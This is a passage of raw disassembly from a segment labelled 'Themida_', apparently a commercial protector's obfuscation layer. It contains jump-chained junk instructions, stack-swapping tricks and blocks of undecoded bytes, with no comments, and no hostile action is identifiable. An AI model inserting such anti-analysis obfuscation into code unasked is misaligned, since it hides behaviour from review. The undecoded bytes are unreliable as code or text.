		mov	[esp], esp
		jmp	loc_552215
; ---------------------------------------------------------------------------
		db 81h
		dd 0C41F44F7h, 8C78134h, 3196C7F1h, 0C3815FFBh,	0F63BFB92h
		dd 8305E3C1h, 0E3D101EBh, 8102EBC1h, 313BC2E3h,	5AF3E91Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547E96:				; CODE XREF: Themida_:00554B59j
		xor	ebp, esi
		xor	esi, ebp
		jmp	loc_547AF6
; ---------------------------------------------------------------------------

loc_547E9F:				; CODE XREF: Themida_:00544EAAj
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_54EC5B
; ---------------------------------------------------------------------------
		db 68h,	72h, 3
		dd 3C890000h, 685F5424h, 3928h,	0BB241C89h, 486F7033h
		dd 5421B951h, 0BB531AE9h, 471B0191h, 98E9D931h,	31000001h
		dd 0EE295FFDh, 81242C8Bh, 4C4h,	0BA525300h, 29593555h
		dd 995EDFBBh, 5AD3293Fh, 88763405h, 51D82932h, 0A673E9h
		db 0
; ---------------------------------------------------------------------------

loc_547F05:				; CODE XREF: Themida_:00544ABEj
		mov	ebx, 1CC43749h
		push	eax
		push	edi
		push	0CEF425Ah
		mov	edi, [esp]
		jmp	loc_546435
; ---------------------------------------------------------------------------

loc_547F19:				; CODE XREF: Themida_:00551CCEj
		mov	esp, [esp]
		jmp	loc_5463E3
; ---------------------------------------------------------------------------
byte_547F21	db 8Bh,	0Ch, 24h	; DATA XREF: Themida_:00541888o
		dd 18D268h, 241C8900h, 7BE95B54h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547F33:				; CODE XREF: Themida_:0055088Ej
		mov	ebp, esp
		push	eax
		mov	eax, 107A7166h
		jmp	loc_544666
; ---------------------------------------------------------------------------

loc_547F40:				; CODE XREF: Themida_:00551B60j
		push	ebx
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5523B1
; ---------------------------------------------------------------------------

loc_547F5B:				; CODE XREF: Themida_:0054415Cj
		sub	ebx, 0E4C16ADh
		not	ebx
		jmp	loc_54758E
; ---------------------------------------------------------------------------
		dd 0E6242C81h, 8B0C9E19h, 0C481242Ch, 4, 1AE3B850h, 35484F98h
		dd 247E73E6h, 1A6EE948h, 525B0000h, 2F3E8DBAh, 4E2C176h
		dd 8107EAC1h, 8B48A5C2h, 0C0E2817Fh, 81624053h,	2B5728E2h
		dd 0EB68553Ah, 5D1CCD28h, 7D56CD81h, 6850736Fh,	1, 0D767E9h
		db 0
; ---------------------------------------------------------------------------

loc_547FC1:				; CODE XREF: Themida_:005506FFj
		sub	al, 72h
		jmp	loc_550CDE
; ---------------------------------------------------------------------------
		dd 243C895Ch, 4E0EE9h
		db 0
; ---------------------------------------------------------------------------

loc_547FD1:				; CODE XREF: Themida_:00541D50j
		shr	ecx, 2
		inc	ecx
		dec	ecx
		jmp	loc_54FDAE
; ---------------------------------------------------------------------------

loc_547FDB:				; CODE XREF: Themida_:0054DA53j
		mov	edi, esp
		jmp	loc_54BB5C
; ---------------------------------------------------------------------------

loc_547FE2:				; CODE XREF: Themida_:00549C60j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_54CF53
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 52E38924h, 0C0370CBAh, 0D3E28174h, 55752241h, 0FFAD7DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548011:				; CODE XREF: Themida_:00552E80j
		add	esi, 402813F0h
		sub	esi, 7C2E0B98h
		jmp	loc_542F11
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 2434FF00h, 4C4835Bh, 4C381h, 74E90000h, 0FFFFFFD3h
		dd 3C8B2434h, 4C48324h,	4C481h,	0C1830000h, 240C3302h
		dd 33240C31h, 8BE9240Ch, 0C1FFFFB6h, 0F7E903EDh, 0BD0000E9h
		dd 1A902322h, 0DA3EE9h
		db 0
; ---------------------------------------------------------------------------

loc_54806D:				; CODE XREF: Themida_:0054BCB8j
		pop	ebx
		jmp	loc_54B8F1
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5159CB01h, 233F38B9h, 3511E940h, 815E0000h, 4C2h, 24148700h
		dd 2C87685Ch, 0C890000h, 0DDEFE924h, 0E95F0000h, 5BDAh
		dd 5C240C87h, 53241489h, 88F3B151h, 0CE959CBh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5480B3:				; CODE XREF: Themida_:00543748j
		push	347Dh
		jmp	loc_547DB5
; ---------------------------------------------------------------------------
byte_5480BD	db 8Bh,	4, 24h		; DATA XREF: Themida_:005419F4o
		dd 231568h, 24348900h, 0EC81E689h, 4, 0BF243C89h, 4, 75DAC681h
		dd 0C6813F69h, 379F15C0h, 37B6C681h, 0FE01648Dh, 37B6EE81h
		dd 0EE81648Dh, 379F15C0h, 0D1D2E9h, 0EFED8100h,	510EBD31h
		dd 55632AB9h, 81D1F749h, 184C3C1h, 0E9CD014Ah, 0FFFFCCF2h
		dd 0FF9A02E9h
		db 0FFh
byte_54811D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00541A98o
		dd 0EE95124h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_548127:				; CODE XREF: Themida_:0054BF17j
		xor	ebx, 1002006h
		mov	edi, ebx
		jmp	loc_54FF17
; ---------------------------------------------------------------------------

loc_548134:				; CODE XREF: Themida_:0055550Cj
		push	edi
		mov	edi, 47460C50h
		neg	edi
		jmp	loc_549621
; ---------------------------------------------------------------------------
		db 0B9h, 49h, 10h
		dd 0E1C1265Fh, 0DB3EE908h, 0C781FFFFh, 4, 4EC81h, 34890000h
		dd 52C6BE24h, 0B951527Dh, 79243F22h, 0B45E9h, 241C8B00h
		dd 4C481h, 0E9550000h, 0A390h
; ---------------------------------------------------------------------------

loc_54817C:				; CODE XREF: Themida_:0054C312j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_5465A8
; ---------------------------------------------------------------------------
aVhd2pSbo	db 'VhD`2P^é¡O',0
		dd 0C3815B00h, 4, 4BD55h, 0C3810000h, 4BD34C0Dh, 0BE56EB01h
		dd 4BD34C0Dh, 92E9F329h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5481C7:				; CODE XREF: Themida_:005525B9j
		push	5ABBh
		mov	[esp], ebp
		jmp	loc_545231
; ---------------------------------------------------------------------------
		dd 8704C383h, 73E9241Ch, 68000054h, 43C3h, 0FFE79EE9h
		db 0FFh
byte_5481E9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005418A8o
		dd 0BE44E9h, 0E9DE0100h, 0D96Bh, 0CBD3E95Ch, 81590000h
		dd 0BE4C88F1h, 1EC1815Fh, 515E261Dh, 0A240481h,	0E9220E01h
		dd 0FFFFC5B4h, 0AE7AE6BDh, 6415E920h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548222:				; CODE XREF: Themida_:00550571j
		pop	edi
		jmp	loc_54C3FE
; ---------------------------------------------------------------------------
		dd 8B240C33h, 0F662424h, 9C2404BBh, 0FF98E6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548239:				; CODE XREF: Themida_:0054466Ej
		pop	eax
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55662A
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 6186E9h, 20B85000h, 2D0F1B26h, 19E82A4Fh
		dd 23377505h, 992D484Fh, 0F75C403Bh, 0DDEB2DD0h, 0C101147Dh
		dd 0E9F10158h, 4E9Fh, 60B4BA52h, 0EAC161A1h, 81DAF703h
		dd 0D07574C2h, 8BD1015Dh, 0C4812414h, 4, 4C1835Eh, 31240C33h
		dd 0C33240Ch, 24248B24h, 0FFED50E9h, 240C87FFh,	5DE8315Ch
		dd 5157C331h, 39AC68h, 0E0F5E900h, 0EB81FFFFh, 46C54E31h
		dd 0FFDFE4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5482D1:				; CODE XREF: Themida_:0055332Bj
		mov	ecx, esp
		jmp	loc_549F5E
; ---------------------------------------------------------------------------
		dd 68241489h, 609Ah, 66240C89h,	5249B753h, 2397E9h
		db 0
; ---------------------------------------------------------------------------

loc_5482ED:				; CODE XREF: Themida_:005542D5j
		xor	edi, 779230DCh
		jmp	loc_54C490
; ---------------------------------------------------------------------------

loc_5482F8:				; CODE XREF: Themida_:00556AA8j
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54C997
; ---------------------------------------------------------------------------
		dd 5E54565Eh, 4C681h, 0C6810000h, 4, 5C243487h,	0FFC264E9h
		dd 0D1F75FFFh, 3ADDC181h, 0F7E90193h, 58000098h, 82E7E9h
		db 0
; ---------------------------------------------------------------------------

loc_548335:				; CODE XREF: Themida_:005494F3j
		add	eax, 316E1F68h
		jmp	loc_54BAA2
; ---------------------------------------------------------------------------

loc_54833F:				; CODE XREF: Themida_:00541EC8j
		mov	esi, 0FCFDDADCh
		xor	eax, esi
		jmp	loc_550095
; ---------------------------------------------------------------------------
		db 66h
		dd 66091368h, 52240C89h, 8850EBB2h, 58E188D4h, 5624148Bh
		dd 0C681E689h, 4, 0D849E9h, 97ADE900h, 0EE09FFFFh, 0B1BF575Dh
		dd 1C537F4h, 67055FFEh,	171447Ch, 67BD55F0h, 2971447Ch
		dd 348B5DE8h, 4C48124h,	1000000h, 4EC81D8h, 89000000h
		dd 6CB9240Ch, 0E9452B6Ch, 51B7h
; ---------------------------------------------------------------------------

loc_5483AC:				; CODE XREF: Themida_:0054B1D4j
		not	ebp
		not	ebp
		xor	ebp, 3B2BDE9Fh
		add	edi, ebp
		pop	ebp
		xor	ebx, edi
		jmp	loc_5459FE
; ---------------------------------------------------------------------------
		dd 2474FF55h, 242C8B04h, 0E904C483h, 0FFFFA27Dh
; ---------------------------------------------------------------------------

loc_5483D0:				; CODE XREF: Themida_:005559D7j
		add	esp, 4
		sub	eax, ebp
		add	eax, 6CAA5790h
		push	dword ptr [esp]
		pop	ebp
		push	3E74h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_542474
; ---------------------------------------------------------------------------
aISjm		db 'Áë',8,'éJ¬',0
		dw 3100h
		dd 6EF6E9DFh, 7CBE0000h, 8113942Ch, 0A09D8DEEh,	53182D13h
		dd 3AE925E3h, 5A000017h, 31243433h, 34332434h, 2A5FE924h
		dd 0C8B0000h, 4C48324h,	2C381h,	3BE90000h, 5BFFFFDCh, 9BAE9h
		dd 0E9CD0100h, 16A0h, 0ADF0E953h, 0CEFE0000h, 80A9C680h
		dd 0CE80E4E6h, 41EE8084h, 537BEE80h, 8851F388h,	59E888DDh
		dd 0D8F65A5Bh, 3408E8C0h, 0E95166C3h, 0FFFFA4B8h, 4245401h
		dd 0C6815E5Ah, 4, 2BF57h, 59680000h, 89000001h,	53E92404h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548493:				; CODE XREF: Themida_:0055505Cj
		mov	esi, 580E3FE4h
		jmp	loc_552E99
; ---------------------------------------------------------------------------
		db 83h,	0C6h, 4
		dd 31243433h, 34332434h, 24248B24h, 0FFD6F2E9h,	8BC500FFh
		dd 0C4832404h, 66E80004h, 0FFC28859h, 83582434h, 0D03004C4h
		dd 24148B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		jmp	loc_551A90
; ---------------------------------------------------------------------------

loc_5484E2:				; CODE XREF: Themida_:00544D32j
		xchg	edi, [esp]
		jmp	loc_54FDDB
; ---------------------------------------------------------------------------
		dw 575Ch
		dd 4BFh, 8BF80100h, 5DE9243Ch
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5484FB:				; CODE XREF: Themida_:00543DB9j
		pop	esi
		sub	esi, 20D57203h
		mov	ebp, esi
		pop	esi
		mov	eax, ebp
		push	dword ptr [esp]
		jmp	loc_54B1D9
; ---------------------------------------------------------------------------
aPirs4		db 'P‰àé4Ì',0
		dw 8900h
		dd 4ABF243Ch, 0C1040149h, 77E904EFh
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548527:				; CODE XREF: Themida_:00544152j
		sub	edx, eax
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54C88E
; ---------------------------------------------------------------------------
aWvs8		db 'WVé8Ô',0
		dw 5400h
		dd 0E924048Fh, 0E3A0h, 4DEEE81h, 0F101EF18h, 0F7C1815Eh
		dd 118FC48h, 0F7E981D1h, 5218FC48h, 1FB6BE56h, 0F28970EFh
		dd 930FE9h, 35E78100h, 0F7792C35h, 4EC81D7h, 89000000h
		dd 9AB9240Ch, 0E976C800h, 79DCh, 7F34F281h, 0DAF7727Dh
		dd 7768F281h, 61E9091Eh, 89000055h, 7A8168E5h, 8AE90000h
		dd 54000082h, 0D51DE959h, 0D7010000h, 0A46BE9h,	5F58B900h
		dd 0BD554ACCh, 1EDD539Bh, 415DE931h, 0F340C181h, 88E9ABEEh
		dd 89000031h, 4C581E5h,	81000000h, 4C5h, 2B26E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5485E2:				; CODE XREF: Themida_:00544A94j
		sub	ebp, 4
		jmp	loc_54491D
; ---------------------------------------------------------------------------
		dw 8853h
		dd 0E9FE88C7h, 0C205h, 81FFEB83h, 86A51BF3h, 8BDD21DCh
		dd 0C483241Ch, 4EC8104h, 0E9000000h, 722Eh
; ---------------------------------------------------------------------------

loc_548610:				; CODE XREF: Themida_:0054AAA4j
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 2D452E11h
		add	ebx, 5A735F51h
		add	ebx, 0E784EF15h
		xor	ebp, ebx
		pop	ebx
		and	eax, ebp
		jmp	loc_541F9A
; ---------------------------------------------------------------------------
		dd 6D32B9B8h, 6E0C15Ah,	6840D8F7h, 5772h, 0E9243C89h, 38ACh
		dd 0D4DBF181h, 0EAE908C6h
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_548653:				; CODE XREF: Themida_:00554C16j
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		pop	ebp
		xchg	ebp, ebx
		xor	eax, ebx
		jmp	loc_5509E0
; ---------------------------------------------------------------------------

loc_548666:				; CODE XREF: Themida_:0054DF0Dj
		or	ecx, 15B71F11h
		dec	ecx
		xor	ecx, 15B7DF94h
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54B196
; ---------------------------------------------------------------------------

loc_54868A:				; CODE XREF: Themida_:005536BAj
		add	esp, 4
		add	dword ptr [ecx], 1
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]

loc_5486AB:				; CODE XREF: Themida_:0054FAD1j
		sub	esp, 4
		jmp	loc_54CA46
; ---------------------------------------------------------------------------

loc_5486B6:				; CODE XREF: Themida_:00553BF7j
		pop	ebp
		add	edi, 55244B73h
		xor	edi, 490917F8h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3E9808FAh
		and	edx, 3AEE4478h
		jmp	loc_54E5F4
; ---------------------------------------------------------------------------
		db 0E9h, 41h, 94h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5486DE:				; CODE XREF: Themida_:005509DBj
		add	esi, edx
		pop	edx
		add	esi, eax
		sub	esi, 67F5579Bh
		add	esi, 7B0B67A7h
		pop	eax
		xchg	esi, [esp]
		jmp	loc_5471A8
; ---------------------------------------------------------------------------

loc_5486F8:				; CODE XREF: Themida_:0054F45Fj
		pop	ebx
		xor	ecx, 642135h
		jmp	loc_545C3C
; ---------------------------------------------------------------------------
		dd 6CE9CB29h, 8B000017h, 0C481241Ch, 4,	0FFFFBB53h, 0C681FFFFh
		dd 13D27A27h, 0EE81DE29h, 13D27A27h, 0E21AE95Bh, 2DB8FFFFh
		dd 1228D08h, 9773E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54873A:				; CODE XREF: Themida_:0054F92Aj
		push	ebp
		jmp	loc_54B881
; ---------------------------------------------------------------------------
		dd 7252EB81h, 0FF667039h, 93D1E930h, 0EA81FFFFh, 0C32DA2FBh
		dd 24048152h, 82C60D4h,	0C8E9h,	242C8B00h, 0E904C483h
		dd 0FFFFF2B1h, 0A8E95058h, 8100002Bh, 4C4h, 390FE900h
		dd 0CDB90000h, 520FF51Dh, 0B909E9h
		db 0
; ---------------------------------------------------------------------------

loc_548789:				; CODE XREF: Themida_:00555FC0j
		xor	edi, 687302Dh
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_554D9C
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		jmp	loc_546D2A
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0CBh
		dd 2968FB6Bh, 0E9082454h, 0D34Ch, 52240C8Bh, 602DE9h
		db 0
; ---------------------------------------------------------------------------

loc_5487C5:				; CODE XREF: Themida_:0054ED10j
		mov	cl, al
		pop	eax
		jmp	loc_54B5E8
; ---------------------------------------------------------------------------

loc_5487CD:				; CODE XREF: Themida_:00546C99j
		add	ebx, 4
		jmp	loc_5431FC
; ---------------------------------------------------------------------------
		dd 0DB2DD0F7h, 48277773h, 88E9D0F7h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5487E7:				; CODE XREF: Themida_:00554522j
		push	esi
		neg	dword ptr [esp]
		pop	esi
		jmp	loc_549530
; ---------------------------------------------------------------------------
aFbZ4fbsGs	db 'fɇ4fá&gé',27h,'¼',0
		align 10h

loc_548800:				; CODE XREF: Themida_:0054201Aj
		mov	ebp, ecx
		pop	ecx
		or	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		jmp	loc_543592
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 4C481h, 0EC830000h, 242C8904h, 0FFDF8FE9h
		dd 0EC835DFFh, 24348904h, 2F3FBD55h, 13BE28F1h,	29311D90h
		dd 5A75E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548842:				; CODE XREF: Themida_:00551D2Bj
		add	[esp+4], edi
		jmp	loc_54625F
; ---------------------------------------------------------------------------
		db 57h
		dd 0C155F1BFh, 285BE937h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548856:				; CODE XREF: Themida_:00550B92j
		push	ebp
		jmp	loc_556553
; ---------------------------------------------------------------------------
aNsin		db '­éˆ',0             ; DATA XREF: Themida_:00541894o
		align 2

loc_548862:				; CODE XREF: Themida_:0054A8DDj
		sub	edi, 0F7580E06h
		sub	ebp, edi
		pop	edi
		jmp	loc_54F989
; ---------------------------------------------------------------------------
		dd 0E9243C87h, 650Ch
; ---------------------------------------------------------------------------

loc_548878:				; CODE XREF: Themida_:00543513j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	edx
		jmp	loc_556379
; ---------------------------------------------------------------------------

loc_548891:				; CODE XREF: Themida_:0054FB6Bj
		push	edx
		jmp	loc_55313E
; ---------------------------------------------------------------------------

loc_548897:				; CODE XREF: Themida_:00552669j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54534F
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFA35Ah, 32B1C781h, 0FA892E77h, 0E9D0095Fh
		dd 699Ch
; ---------------------------------------------------------------------------

loc_5488C0:				; CODE XREF: Themida_:00554458j
		add	ecx, 593B5424h
		pop	esi
		add	ecx, 14F26F2Ch
		add	ecx, 4E1132AFh
		push	ebp
		push	eax
		mov	eax, 4D124786h
		neg	eax
		push	esi
		jmp	loc_549657
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 5AD72841h, 8028C780h, 20E9C6C7h, 5FFFFFB4h, 4EE81h
		dd 34870000h, 24248B24h, 0E9240489h, 612h
; ---------------------------------------------------------------------------

loc_548908:				; CODE XREF: Themida_:00542C65j
		add	ebx, 7F07756Dh
		pop	ebp
		jmp	loc_55213E
; ---------------------------------------------------------------------------
		dd 0E8BB5352h, 0F765531Bh, 0EA2DE9D3h, 3433FFFFh, 24343124h
		dd 0E9243433h, 0FFFFB245h, 89243489h, 0C6D8E9E6h, 0EE83FFFFh
		dd 24348704h, 9957E95Ch
		db 2 dup(0FFh)
word_548946	dw 8F66h		; DATA XREF: Themida_:0054197Co
		dd 91D1E902h, 565AFFFFh, 5D243481h, 5F071450h, 505DF781h
		dd 815E0714h, 2641B2C1h, 81F90111h, 2641B2E9h, 243C8B11h
		dd 0FFA1EFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548975:				; CODE XREF: Themida_:0054E781j
		add	esp, 4
		add	esp, 4
		add	eax, 470110F2h
		push	6A8Fh
		mov	[esp], ebp
		mov	ebp, 23313073h
		push	edi
		push	ebp
		mov	ebp, 47DA431Dh
		mov	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 2CB84B14h
		sub	edi, ebx
		pop	ebx
		dec	edi
		push	5145h
		mov	[esp], eax
		push	ecx
		mov	ecx, 67524EE4h
		jmp	loc_5452D6
; ---------------------------------------------------------------------------
		db 68h
		dd 7CF1E61h, 77332D58h,	0DF354F89h, 50F89BB1h, 22243481h
		dd 5B38481Bh, 1B22F381h, 0F7583848h, 2EC381D3h,	81769869h
		dd 2F1640E3h, 0B5BF5743h, 8737697Eh, 87D5F7EFh,	8AEF81EFh
		dd 21621801h, 915FE9FBh, 3C8BFFFFh, 4C48324h, 5B2434FFh
		dd 0E904C483h, 79Ch
; ---------------------------------------------------------------------------

loc_548A10:				; CODE XREF: Themida_:0054738Ej
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		push	2E28h
		mov	[esp], eax
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		dd 0B8240489h, 176251A6h, 5305E0C1h, 5B542DBBh,	0CDF38134h
		dd 0E9A4746Eh, 97Bh, 0D1C7B05h,	0E9C82924h, 0FFFFB9BAh
		dd 5F2434FFh, 4C481h, 53460000h, 2C60D5BBh, 5EBC10Bh, 6916CB81h
		dd 0F3810632h, 61FE47D0h, 665DC381h, 0C3817362h, 55007473h
		dd 8CE9DE31h, 87FFFFFCh, 0DAE9243Ch, 5F000023h,	0FFF9B0E9h
		db 0FFh
off_548A8D	dd offset dword_49005C+0AD0Ch ;	DATA XREF: Themida_:00541A24o
		align 2
		dw 1FE9h
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_548A97:				; CODE XREF: Themida_:0054DC35j
		shl	esi, 5
		push	ecx
		mov	ecx, 8B3DEAC7h
		jmp	loc_5471C1
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
aLS		db '‹$$é¹',0Ah,0
		align 10h

loc_548AB0:				; CODE XREF: Themida_:00541D1Dj
		add	esp, 4
		popa
		popf
		jmp	locret_55379A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF9E71E9h, 58C201FFh, 0FFD07CE9h, 68C5FEFFh, 0F63h
		dd 0FFC9AAE9h, 2ABE56FFh, 0E91BD864h, 3EA8h
dword_548AE4	dd 16E953ACh		; DATA XREF: Themida_:00541928o
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_548AEB:				; CODE XREF: Themida_:00542AB5j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 37757C45h
		jmp	loc_55056F
; ---------------------------------------------------------------------------
		db 68h
		dd 3AD6h, 0CFBEE9h, 0BE565E00h,	55F258Fh, 5778E9h, 0E9D22C00h
		dd 0D23Dh, 3EDEF281h, 0D089A3E5h, 2DD0F75Ah, 444A0C3Bh
		dd 5240D0F7h, 0D91C51BAh, 0BD72E900h, 431FFFFh,	78E2E924h
		dd 68660000h, 89665572h, 0D4E9240Ch
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548B4B:				; CODE XREF: Themida_:0054BFEBj
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	6ED4h
		mov	[esp], ebx
		push	4562h
		mov	[esp], eax
		mov	eax, 71395C1Eh
		push	esi
		jmp	loc_54732B
; ---------------------------------------------------------------------------
		dw 8143h
		dd 0AF0B67F3h, 5BDE310Ch, 614DC781h, 0C7813723h, 1CAE3EBBh
		dd 5523C781h, 0F7010451h, 0FFD443E9h, 9EF81FFh,	8910D6B9h
		dd 0A7055FF8h, 351E9B0Ah, 24AE059Bh, 501C083h, 0B1E6E637h
		dd 3358C201h, 0B9E92414h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548BBB:				; CODE XREF: Themida_:005458FDj
		mov	edi, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_551CA5
		push	ecx
		mov	ecx, 20h
		jmp	loc_54681B
; ---------------------------------------------------------------------------

loc_548BE0:				; CODE XREF: Themida_:0054991Aj
		pop	edx
		add	al, 0EEh
		sub	al, dh
		sub	al, 0EEh
		add	al, 0B0h
		pop	edx
		jmp	loc_5503C7
; ---------------------------------------------------------------------------

loc_548BEF:				; CODE XREF: Themida_:005549D5j
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_551971
; ---------------------------------------------------------------------------
		dd 620FCF81h, 0F78143C5h, 2A69159Bh, 99CC781h, 0C7817B42h
		dd 54A57E49h, 30CFCF81h, 0B8501D0Ch, 15D5E68Ah,	9FE9C731h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548C33:				; CODE XREF: Themida_:00541F95j
		not	ebp
		and	ebp, 6C1736BEh
		push	36E5h
		mov	[esp], ebx
		jmp	loc_54B3F4
; ---------------------------------------------------------------------------

loc_548C48:				; CODE XREF: Themida_:0054D7E4j
		mov	[esp], edi
		mov	edi, 556619F5h
		xor	edi, 556619F1h
		add	ebx, 49711381h
		sub	ebx, 4B711851h
		sub	ebx, edi
		add	ebx, 4B711851h
		sub	ebx, 49711381h
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_554EC4
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFC8F7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548C85:				; CODE XREF: Themida_:005474B9j
		push	54F7h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edx
		sub	esp, 4
		jmp	loc_556096
; ---------------------------------------------------------------------------

loc_548C9F:				; CODE XREF: Themida_:0054EC81j
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 256CAC0Ah
		xor	edx, ecx
		jmp	loc_54FA34
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 21DE4DA9h, 0C981D1F7h, 21D72232h, 81E1D149h,	77396DF1h
		dd 59CE2116h, 6169E94Eh, 48F0000h, 24248B24h, 9C240420h
		dd 0FF8E3EE9h
		db 0FFh
byte_548CE1	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:005418A0o
		dd 2EC81h, 0E3E90000h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548CEF:				; CODE XREF: Themida_:00542984j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_549E37
; ---------------------------------------------------------------------------
aMsys		db 'Méys',0
		db 0
; ---------------------------------------------------------------------------

loc_548D01:				; CODE XREF: Themida_:0054A705j
		neg	ecx
		inc	ecx
		add	ecx, 7303456Ch
		not	ecx
		sub	ecx, 5AF7A29Bh
		jmp	loc_546A7D
; ---------------------------------------------------------------------------

loc_548D17:				; CODE XREF: Themida_:0054D525j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5521F0
; ---------------------------------------------------------------------------
byte_548D25	db 53h,	89h, 0E3h	; DATA XREF: Themida_:005419C0o
		dd 4C381h, 0EB810000h, 4, 4794E9h, 9FE95E00h, 8100002Fh
		dd 85AC66E9h, 8BCB89BCh, 0C483240Ch, 14F75304h,	8F2DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548D56:				; CODE XREF: Themida_:0055206Cj
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		push	edi
		mov	edi, 7BEB7C87h
		shr	edi, 1
		xor	edi, 0F4B3F27h
		shr	edi, 4
		add	edi, 4DEB6EBBh
		push	7F6h
		jmp	loc_54EAC7
; ---------------------------------------------------------------------------

loc_548D8A:				; CODE XREF: Themida_:00546DFFj
		mov	edi, 0D8C0C4Dh
		add	edi, edx
		pop	edx
		xor	[esp+4], edi
		jmp	loc_5545D0
; ---------------------------------------------------------------------------
		db 83h
		dd 34FF04C4h, 0E9575924h, 0D96Eh, 2068C381h, 0B951118Ah
		dd 263370C0h, 8159CB31h, 0EB36A2F3h, 0C8EB8119h, 8364D34Fh
		dd 0C8904ECh, 2350B924h, 6AE91BCBh, 5B000046h, 0A2AAE9h
		db 0
; ---------------------------------------------------------------------------

loc_548DD9:				; CODE XREF: Themida_:0055126Fj
